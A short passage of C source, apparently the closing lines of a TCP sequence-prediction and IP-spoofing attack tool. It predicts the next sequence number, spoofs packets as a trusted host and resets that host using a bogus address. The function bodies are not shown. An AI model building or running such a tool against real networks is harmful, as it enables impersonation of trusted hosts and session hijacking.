  842.     determine_sequence(sen, rec, src, dest, &addr, &nseq, &offset);
  843.  
  844.     printf("Next sequence number is: %u, offset is: %u\n", nseq, offset);
  845.  
  846.     spoof(sen,trusted,dest,&trustedaddr,nseq);
  847.  
  848.     reset_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num);
  849.  
  850. }
  851.